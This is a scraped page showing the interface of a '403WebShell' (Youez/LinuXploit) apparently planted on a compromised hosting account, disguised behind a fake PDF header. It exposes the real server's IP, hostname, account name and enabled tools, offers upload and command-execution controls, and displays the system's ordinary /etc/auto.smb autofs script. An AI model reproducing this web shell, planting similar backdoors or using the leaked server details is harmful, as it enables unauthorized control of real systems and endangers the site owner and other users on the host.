%PDF- %PDF- 403WebShell
403Webshell
Server IP : 79.170.40.229  /  Your IP : 18.218.83.44
Web Server : Apache
System : Linux web230.extendcp.co.uk 4.18.0-513.24.1.el8_9.x86_64 #1 SMP Mon Apr 8 11:23:13 EDT 2024 x86_64
User : 1stforcarhirealicante.com ( 296923)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/thread-self/root/etc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/thread-self/root/etc/auto.smb
#!/bin/bash

# This file must be executable to work! chmod 755!

# Automagically mount CIFS shares in the network, similar to
# what autofs -hosts does for NFS.

# Put a line like the following in /etc/auto.master:
# /cifs  /etc/auto.smb --timeout=300
# You'll be able to access Windows and Samba shares in your network
# under /cifs/host.domain/share

# "smbclient -L" is used to obtain a list of shares from the given host.
# In some environments, this requires valid credentials.

# This script knows 2 methods to obtain credentials:
# 1) if a credentials file (see mount.cifs(8)) is present
#    under /etc/creds/$key, use it.
# 2) Otherwise, try to find a usable kerberos credentials cache
#    for the uid of the user that was first to trigger the mount
#    and use that.
# If both methods fail, the script will try to obtain the list
# of shares anonymously.

get_krb5_cache() {
    cache=
    uid=${UID}
    for x in $(ls -d /run/user/$uid/krb5cc_* 2>/dev/null); do
        if [ -d "$x" ] && klist -s DIR:"$x"; then
	    cache=DIR:$x
            return
        fi
    done
    if [ -f /tmp/krb5cc_$uid ] && klist -s /tmp/krb5cc_$uid; then
	    cache=/tmp/krb5cc_$uid
	    return
    fi
}

key="$1"
opts="-fstype=cifs"

for P in /bin /sbin /usr/bin /usr/sbin
do
	if [ -x $P/smbclient ]
	then
		SMBCLIENT=$P/smbclient
		break
	fi
done

[ -x $SMBCLIENT ] || exit 1

creds=/etc/creds/$key
if [ -f "$creds" ]; then
    opts="$opts"',uid=$UID,gid=$GID,credentials='"$creds"
    smbopts="-A $creds"
else
    get_krb5_cache
    if [ -n "$cache" ]; then
        opts="$opts"',multiuser,cruid=$UID,sec=krb5i'
        smbopts="-k"
        export KRB5CCNAME=$cache
    else
        opts="$opts"',guest'
        smbopts="-N"
    fi
fi

$SMBCLIENT $smbopts -gL "$key" 2>/dev/null| awk -v "key=$key" -v "opts=$opts" -F '|' -- '
	BEGIN	{ ORS=""; first=1 }
	/Disk/	{
		  if (first)
			print opts; first=0
		  dir = $2
		  loc = $2
		  # Enclose mount dir and location in quotes
		  print " \\\n\t \"/" dir "\"", "\"://" key "/" loc "\""
		}
	END 	{ if (!first) print "\n"; else exit 1 }
	'


Youez - 2016 - github.com/yon3zu
LinuXploit